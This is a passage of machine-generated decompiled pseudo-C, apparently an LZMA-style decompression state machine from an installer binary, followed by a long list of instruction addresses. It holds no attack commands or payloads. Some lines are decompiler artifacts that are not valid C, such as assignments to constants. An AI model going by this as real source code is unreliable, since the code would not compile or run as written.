												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x004065de
0x004065de
0x004065e2
0x00406607
0x00406611
0x00000000
0x004065e4
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065f1
0x004065f5
0x004065f5
0x004065f8
0x004066d2
0x004066d2
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
